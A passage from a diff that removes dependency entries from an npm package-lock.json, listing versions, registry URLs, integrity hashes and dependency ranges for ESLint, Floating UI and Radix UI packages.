"@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/eslintrc": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.3.tgz", - "integrity": "sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.1", - "minimatch": "^3.1.2", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@eslint/js": { - "version": "9.39.2", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.2.tgz", - "integrity": "sha512-q1mjIoW1VX4IvSocvM/vbTiveKC4k9eLrajNEuSsmjymSDEbpGddtpfOoN7YGAqBK3NG+uqo8ia4PDTt8buCYA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - } - }, - "node_modules/@eslint/object-schema": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0", - "levn": "^0.4.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@floating-ui/core": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.3.tgz", - "integrity": "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w==", - "license": "MIT", - "dependencies": { - "@floating-ui/utils": "^0.2.10" - } - }, - "node_modules/@floating-ui/dom": { - "version": "1.7.4", - "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.4.tgz", - "integrity": "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA==", - "license": "MIT", - "dependencies": { - "@floating-ui/core": "^1.7.3", - "@floating-ui/utils": "^0.2.10" - } - }, - "node_modules/@floating-ui/react-dom": { - "version": "2.1.6", - "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.6.tgz", - "integrity": "sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw==", - "license": "MIT", - "dependencies": { - "@floating-ui/dom": "^1.7.4" - }, - "peerDependencies": { - "react": ">=16.8.0", - "react-dom": ">=16.8.0" - } - }, - "node_modules/@floating-ui/utils": { - "version": "0.2.10", - "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.10.tgz", - "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==", - "license": "MIT" - }, - "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.1", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.13", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/remapping": { - "version": "2.3.5", - "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@radix-ui/number": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.1.tgz", - "integrity": "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==", - "license": "MIT" - }, - "node_modules/@radix-ui/primitive": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", - "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", - "license": "MIT" - }, - "node_modules/@radix-ui/react-alert-dialog": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.15.tgz", - "integrity": "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-dialog": "1.1.15", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-alert-dialog/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-arrow": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz", - "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-collapsible": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.12.tgz", - "integrity": "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-collection": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz", - "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-collection/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-compose-refs": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", - "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-context": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz", - "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dialog": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.15.tgz", - "integrity": "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-focus-guards": "1.1.3", - "@radix-ui/react-focus-scope": "1.1.7", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "aria-hidden": "^1.2.4", - "react-remove-scroll": "^2.6.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dialog/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-direction": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz", - "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dismissable-layer": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz", - "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-escape-keydown": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dropdown-menu": { - "version": "2.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.16.tgz", - "integrity": "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-menu": "2.1.16", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-focus-guards": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.3.tgz", - "integrity": "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-focus-scope": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.7.tgz", - "integrity": "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-id": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz", - "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-label": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.8.tgz", - "integrity": "sha512-FmXs37I6hSBVDlO4y764TNz1rLgKwjJMQ0EGte6F3Cb3f4bIuHB/iLa/8I9VKkmOy+gNHq8rql3j686ACVV21A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-label/node_modules/@radix-ui/react-primitive": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", - "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-menu": { - "version": "2.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.16.tgz", - "integrity": "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-collection": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-focus-guards": "1.1.3", - "@radix-ui/react-focus-scope": "1.1.7", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-roving-focus": "1.1.11", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "aria-hidden": "^1.2.4", - "react-remove-scroll": "^2.6.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-menu/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-popper": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz", - "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==", - "license": "MIT", - "dependencies": { - "@floating-ui/react-dom": "^2.0.0", - "@radix-ui/react-arrow": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-layout-effect": "1.1.1", - "@radix-ui/react-use-rect": "1.1.1", - "@radix-ui/react-use-size": "1.1.1", - "@radix-ui/rect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-portal": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz", - "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || 